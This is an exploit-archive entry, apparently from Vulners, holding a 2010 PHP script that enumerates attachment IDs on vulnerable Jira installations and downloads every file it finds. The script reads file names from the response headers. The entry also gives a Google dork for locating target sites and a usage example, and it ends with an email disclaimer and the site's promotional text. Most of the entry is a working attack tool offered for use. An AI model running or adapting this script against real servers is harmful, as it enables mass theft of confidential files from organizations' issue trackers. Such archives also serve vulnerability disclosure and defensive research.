`=======================================
Jira Atlassian File Attachment Download
=======================================
# Exploit Title: Jira Atlassian
# Date: 28/3/2010
# Author: Ignacio Garrido
# Mail: Ign.sec gmail com
# Software Link: http://www.atlassian.com/software/jira/JIRADownloadCenter.jspa
# Version: 3.X (Maybe 4.X)
# Tested on: Windos & Linux
# Code :
<?php
/*If it's a https, you MUST especify it on the URL or it won't work.
Try using numbers that you get from your results in google otherwise
you will get a lot of 404*/
echo "\n#########################################################
###################
# \n#Attachment downloader by Ignacio Garrido\n#";
if ($argc != 4){echo "
#Usage: php Scuarji.php vulnsite FROM(NUMBER) TO(NUMBER)\n#
#Dork: inurl:/jira/secure/attachment/\n#
#Example: php Scuarji.php http://www.vulnsite/jira/secure/attachment/
1 12310371#
############################################################################\n";die;}
else{
echo "\n#Let's start!\n";
echo "#\n#[email protected]\n";
#\n############################################################################\n";}
$url2 = $argv[1];
if (substr($url2,0,7) != "http://" && substr($url2,0,8) != "https://")
{
$url = ("http://".$url2);
}
else
{
$url = $argv[1];
}
if ($argv[2] >= $argv[3])
{
echo "\n\n#The second number must be bigger than the first one\n";
die;
}
$numero = $argv[2];
for ($numero;$numero <= $argv[3];$numero++)
{
$head = get_headers("$url$numero/");
if (substr ($head[0],9,3) == "404")
{
echo "\n#File number $numero not found! (404)\n";
}
else{
$explodeo = explode("filename*=",$head[2]);
$explodeo2 = explode(";",$explodeo[1]);
$archivo = substr($explodeo2[0],7);
echo "\n#Downloading file: $archivo\n";
$file=file_get_contents("$url$numero/$archivo");
file_put_contents($archivo,$file);
}
}
echo "\n#All attachment downloaded correctly!\n";
die;
?>
--
*DISCLAIMER:*
*El presente mensaje y todos los archivos adjuntos son confidenciales y para
uso exclusivo del destinatario o entidad a la cual fue enviado. La
divulgación de cualquier tipo de información contenida en el mismo es
sancionada por la ley. Si ha recibido esta comunicación por error o en caso
de no ser usted uno de los destinatarios, por favor le pedimos que elimine
el correo de su sistema y se ponga en contacto con el remitente. Toda
aseveración, confirmación, afirmación u opinión plasmada en este mensaje es
propia del autor del mismo.*
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation